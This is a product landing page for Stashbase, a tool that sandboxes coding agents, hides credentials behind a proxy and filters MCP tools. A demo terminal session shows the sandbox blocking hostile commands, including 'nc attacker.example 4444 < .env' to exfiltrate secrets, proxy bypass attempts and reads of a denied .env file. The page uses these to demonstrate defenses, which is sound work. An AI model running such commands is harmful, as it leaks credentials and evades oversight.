Scoped access forClaude Code

Run coding agents in a sandbox with access rules for files, APIs, and tools. Let them use credentials without seeing the real values.

Start for freeNo credit card required
Try it locallyNo account needed

Free forever: local sandboxing, proxy access, and unlimited profiles.

Give agents access—not your credentials

Let coding agents use the APIs, tools, and credentials they need while Stashbase keeps raw secrets outside the agent context and enforces policy at the request boundary.

.stashbase/agents/codex.toml
egress_hosts = ["api.github.com", "mcp.linear.app"]

[secrets]
project = "project"
environment = "api-staging"

[secrets.GITHUB_TOKEN]
env = "GITHUB_TOKEN"

[[secrets.GITHUB_TOKEN.rules]]
effect = "allow"
hosts = ["api.github.com"]
methods = ["GET"]
paths = ["/repos/*/*/issues*"]

[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"

[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]
Run your agent
$ stashbase agent run
A profile is the policy
Credentials stay out of the agent environment Agents receive placeholders. Secret values and personal credentials stay behind the proxy.
Grant access host by host Each secret can be exchanged only with the API destinations you approve.
Keep policy with the project Store your profiles in your repositories, track changes with git.
Audit the proxied activity Review local metadata-only logs for allowed and denied credential exchanges.
Keep egress separate from secrets Allow registries and docs without letting any credential reach those hosts.
Per-secret rules Each secret can have its own rules for hosts, methods, and paths, allowing fine-grained control over access.
Use local values when needed Profile-managed local files override configured sources without exposing values to the agent.

Desktop quickstart

Try it yourself

Open this page on macOS or Linux to install the CLI and try the local policy.

Control MCP tools

Filter MCP tools and reject unauthorized calls while credentials remain behind the boundary.

Keep sensitive files outside the agent context

Scope filesystem access so agents can work in a project without opening up local secrets and certificates.

Prevent agents from installing known-vulnerable packages.

Scan packages for known CVEs before install and block dependencies that fail policy.

.stashbase/agents/codex.toml
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"

[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]

[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]

Control tools as well as credentials.

Credentials stay at the boundary

Bindings inject authentication without exposing its value.

Allowed tools are visible

Unauthorized tools are filtered from the server’s tool list.

Denied tools cannot run

Calls outside policy are rejected before they reach the server.

Choose the right boundary

Use the same profile with either proxy. Your agent runs on your machine in both cases; only the place where credentials are injected changes.

01
Local proxy · Free
Proxy on your machine

The proxy and credential injection run on your machine. Use secrets from a local file or a Stashbase project.

02
Remote proxy · Pro & Scale
Proxy on Stashbase infrastructure

Credential injection runs on Stashbase infrastructure, so resolved secrets are never loaded on your machine. See and revoke remote proxy sessions.

Enforced, not just configured

With the Docker backend, the agent runs inside a sandbox whose only route to the network is the Stashbase proxy. It can’t bypass your policies, read files you’ve denied, or send data to hosts you haven’t allowed.

.stashbase/agents/coding.toml
egress_hosts = ["api.anthropic.com", "api.stripe.com"]

[sandbox]
backend = "docker"
isolated_paths = ["node_modules"]

[filesystem]
deny_read = ["./.env"]

[secrets.STRIPE_SECRET_KEY]
...
Inside the sandbox
$ cat .env
cat: .env: Permission denied
# denied by the profile

$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall

$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed

$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks

$ curl -u "$STRIPE_SECRET_KEY:" \
    https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxy
01

A firewall, not just env vars

Each sandbox gets its own firewall with no direct route out: not to the internet, not to your host, not to private networks. The only way out is the Stashbase proxy, so unsetting HTTPS_PROXY or opening a raw connection gets nowhere.

$ env -u HTTPS_PROXY curl … → blocked
02

Rules the agent can’t touch

The firewall is set up outside the agent’s reach. The agent has no permission to change or remove it, so a compromised agent can’t switch it off.

disable firewall → permission denied
03

Two backends, same profile

An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.

backend = "native" | "docker"
04

Bring your own image

Use the default image with Claude Code and Codex preinstalled, or point a profile at your own image or Dockerfile. Custom images add tools, never privileges. Claude Code and Codex logins are kept in a Docker volume on your machine, so you sign in once and stay signed in across runs. This is the agent’s own login, separate from Stashbase proxy sessions.

dockerfile = "./sandbox.Dockerfile"

Secrets for your apps, and for your agents

Manage credentials by project and environment in a Stashbase workspace, reference them in an agent profile, and the proxy uses them only for requests the profile allows. A free workspace includes one hosted project with 3 environments and up to 3 members.

Separate environments per project

Create development, staging, and production environments, each with its own secrets.

A dedicated environment for agents

Give coding agents their own environment with sandbox credentials, so they never touch production values.

Audit every credentialed operation

Review access decisions and usage as work moves toward production.

env.schema.yaml
project:
  name: web-api

environment:
  name: production
  is_production: true

secrets:
- name: AWS_ACCESS_KEY_ID
- name: DATABASE_URL
  comment: Used by the application database client

Safe context for agents

Give agents the schema, not the values.

Generate a value-free YAML schema so coding agents know what an environment expects without receiving the credentials behind it.

Keep secure workflows in your terminal

Manage environments, run apps, and scan changes without leaving your terminal.

Explore everyday workflows in your terminal

~/projects/backendzsh
$
Loaded profile .stashbase/agents/codex.toml Secrets are replaced with placeholders Egress allowed: api.github.com, mcp.linear.app > codex

Catch hardcoded secrets before they ship

Agents and developers both hardcode credentials. Catch them early and replace them with managed values.

01

Detect exposure

See exposed credentials wherever they surface.

Find hardcoded secrets

Detect API keys, tokens, and other credentials in human- or agent-written code.

Keep repositories clean

Continuously monitor GitHub for secrets that slip through.

02

Prevent the leak

Stop risky changes before they spread.

Stop leaks before commit

Scan staged changes, including agent edits, before they are committed or pushed.

Match your security policy

Tune rules to the services and standards your team uses.

03

Respond with confidence

Get the right people moving on the right fix.

Alert the right people

Notify your team as soon as an exposed secret is found.

Replace and rotate secrets

Move to managed values and rotate compromised credentials.

Turn a secret leak into a reviewed fix.

Private AI drafts a commit-ready patch, removes the exposed value, and rotates the matching secret in Stashbase—so your team stays in control of every change.

Private executionReview before applyCommit-ready patch
Remediation planReady for review
Remove hardcoded value
Rotate matching secret
Review before applying

Bring secure environment work into your tools

Inspect context and draft changes—never expose secret values.

Stashbase MCP
client → stashbase.mcp.connect()
tool: List available environments
tool: Read non-sensitive configuration metadata
tool: Draft cleanup for unused secrets
What MCP makes possible
Work from environment context. Let tools inspect projects, environments, and non-sensitive configuration.
Draft changes for review. Prepare operational changes before your team chooses to apply them.
Keep secret values out of the protocol. MCP exposes context and workflows, never the secret values themselves.

Turn environment questions into action

Ask, analyze, and draft changes—then review before anything goes live.

New chat
KUBERNETES_CLUSTER_NAME
KUBERNETES_NAMESPACE
KUBERNETES_DEPLOYMENT_NAME
Operational workflows
Analyze secrets. Identify stale, frequently accessed, or recently updated secrets.
Understand usage patterns. Compare dashboard and API usage behaviors.
Scaffold new secrets. Draft new secrets for services, integrations, and internal tooling.
Delete unused secrets. Remove secrets that are no longer in use.
Draft before saving. Keep changes local until they are reviewed and applied.

Protect credentials from development to production

Encrypt and isolate every secret from local development to production.

Key management system
Built-in key management system that ensures your data stays secure.
Multi-layer encryption
AES-256 encryption with multiple layers of protection ensures your data is protected.
Workspace isolation
Scoped encryption with isolated access boundaries for complete workspace separation.

Works with your existing infrastructure

Sync application secrets to the tools you use to build, deploy, and run applications.

GitHubVercelGCP Secret ManagerAWS Secrets Manager
GitHub, Vercel, GCP Secret Manager, AWS Secrets Manager. Select a logo for its setup guide.

Let agents do useful work—with scoped access.

Keep your project credentials in one workspace and let agents use them only through the access rules in their profiles. The free plan includes one hosted project with 3 environments.